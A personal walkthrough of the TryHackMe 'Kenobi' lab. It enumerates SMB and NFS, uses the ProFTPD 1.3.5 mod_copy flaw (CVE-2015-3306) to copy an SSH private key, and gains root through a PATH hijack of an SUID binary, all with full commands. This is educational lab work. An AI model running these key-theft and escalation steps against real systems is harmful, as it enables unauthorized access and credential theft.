

Kenobi -- TryHackMe

Situation

Got an IP address – Linux-based, later found various services within

Running a basic nmap port scan I found 7 open ports including:

21(FTP), 111(NFS), 445(SMB), 22(SSH)

- Nmap scan on port 445 using NSE scripts to enumerate through shares
- I did not get any shares in return
- Ran the debug version – turns out SMBv1 was disabled in target

Switched to smbclient null session to find three shares: print\$, anonymous, IPC\$

Anonymous had no comments, seemed like the target

Looking for Something useful

First tried smbget – nothing was extracted

- Tried verbose version – understood that it wasn't working for a reason
- Chose to move onto smbclient once again (IT WORKED!)
- Opening the file on the share, found pretty much nothing

== DEAD END

Pivoted onto other services(ports) that were open in the IP address

- Found that FTP service running on port 21 was ProFTPD 1.3.5
`$ nc 10.67.152.90 21`
`220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.67.152.90]`
- Used searchsploit to find out the vulnerability where it lets you tell the server to copy files without authentication = CVE-2015-3306

`$ searchsploit proFTPD 1.3.5 -w`

- Found the NFS service running on port 111 shows the mount on /var

`$ nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.67.152.90`

Sneaking in

Using the ProFTPD vulnerability, I copied Kenobi's private key using nc, SITE CPFR and SITE CPTO

- Copied down to /var/tmp directory in the target machine as we know /var can be mounted to any machine

```
$ nc 10.67.152.90 21
```

```
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.67.152.90]
```

```
SITE CPFR /home/kenobi/.ssh/id_rsa
```

```
350 File or directory exists, ready for destination name
```

```
SITE CPTO /var/tmp/id_rsa
```

```
250 Copy successful
```

- Mounted /var/tmp to my machine and copied down the private key onto my machine, gave it permission and then ran ssh with it to login to Kenobi's account

```
(kali㉿kali)-[~]
```

```
└─$ sudo mkdir /mnt/kenobiNFS
```

```
[sudo] password for kali:
```

```
└─(kali㉿kali)-[~]
```

```
└─$ mount 10.67.152.90:/var /mnt/kenobiNFS
```

```
mount.nfs: failed to apply fstab options
```

```
└─(kali㉿kali)-[~]
```

```
└─$ ls -la /mnt/kenobiNFS/
```

```
total 8
```

```
drwxr-xr-x 2 root root 4096 Aug 10 07:40 .
```

```
drwxr-xr-x 3 root root 4096 Aug 10 07:40 ..
```

```
(kali㉿kali)-[~]
```

```
$ sudo mount 10.67.152.90:/var /mnt/kenobiNFS
```

```
(kali㉿kali)-[~]
```

```
$ ls -la /mnt/kenobiNFS/
```

```
total 56
```

```
drwxr-xr-x 14 root root      4096 Sep  4  2019 .
```

```
drwxr-xr-x  3 root root      4096 Aug 10 07:40 ..
```

```
drwxr-xr-x  2 root root      4096 Aug 10 07:31 backups
```

```
drwxr-xr-x 15 root root      4096 Aug 10  2025 cache
```

```
drwxrwxrwt  2 root root      4096 Sep  4  2019 crash
```

```
drwxr-xr-x 51 root root      4096 Aug 10  2025 lib
```

```
drwxrwsr-x  2 root staff     4096 Apr 12  2016 local
```

```
lrwxrwxrwx  1 root root           9 Sep  4  2019 lock -> /run/lock
```

```
drwxrwxr-x 13 root Debian-snm 4096 Aug 10 07:12 log
```

```
drwxrwsr-x  2 root mail      4096 Feb 26  2019 mail
```

```
drwxr-xr-x  2 root root      4096 Feb 26  2019 opt
```

```
lrwxrwxrwx  1 root root           4 Sep  4  2019 run -> /run
```

```
drwxr-xr-x  5 root root      4096 Aug  9  2025 snap
```

```
drwxr-xr-x  5 root root      4096 Sep  4  2019 spool
```

```
drwxrwxrwt  8 root root      4096 Aug 10 07:18 tmp
```

```
drwxr-xr-x  3 root root      4096 Sep  4  2019 www
```

```
(kali㉿kali)-[~]
```

```
$ cp /mnt/kenobiNFS/tmp/id_rsa .
```

```
(kali㉿kali)-[~]
```

```
└─$ sudo chmod 600 id_rsa
```

```
└─(kali㉿kali)-[~]
```

```
└─$ ssh -i id_rsa kenobi@10.67.152.90
```

== SNUCK IN

Getting the Root

Enumerating through different SUID binaries:

```
kenobi@kenobi:~$ find / -perm -u=s -type f 2>/dev/null
```

- Found a non-standard /usr/bin/menu
- Ran the binary and found a custom menu:
 1. status check
 2. kernel version
 3. ifconfig-

SUID binaries are called with ROOT status

Ran `strings /usr/bin/menu` to find curl, uname, and ifconfig were all bare command names, no path. → \$PATH vulnerability

```
kenobi@kenobi:~$ cd /tmp
```

```
kenobi@kenobi:/tmp$ echo '/bin/bash' > /tmp/ifconfig
```

```
kenobi@kenobi:/tmp$ chmod 777 /tmp/ifconfig
```

```
kenobi@kenobi:/tmp$ export PATH=/tmp:$PATH
```

```
kenobi@kenobi:/tmp$ /usr/bin/menu
```

- Echoed /bin/bash onto /tmp/ifconfig
- Gave it executable permission
- Exported onto the \$PATH variable

Once I ran the binary again, instead of the path to the actual ifconfig it executed the /tmp/ifconfig, which opened a bare shell as the root.

== BECAME THE ROOT: Mission Accomplished

Learning Lesson:

“Real Skill needed here was not finding individual vulnerabilities; it was recognizing different gaps between a privileged process and it trusting an unprivileged user input, and how those different gaps ultimately come together to display a full-on exploitation.”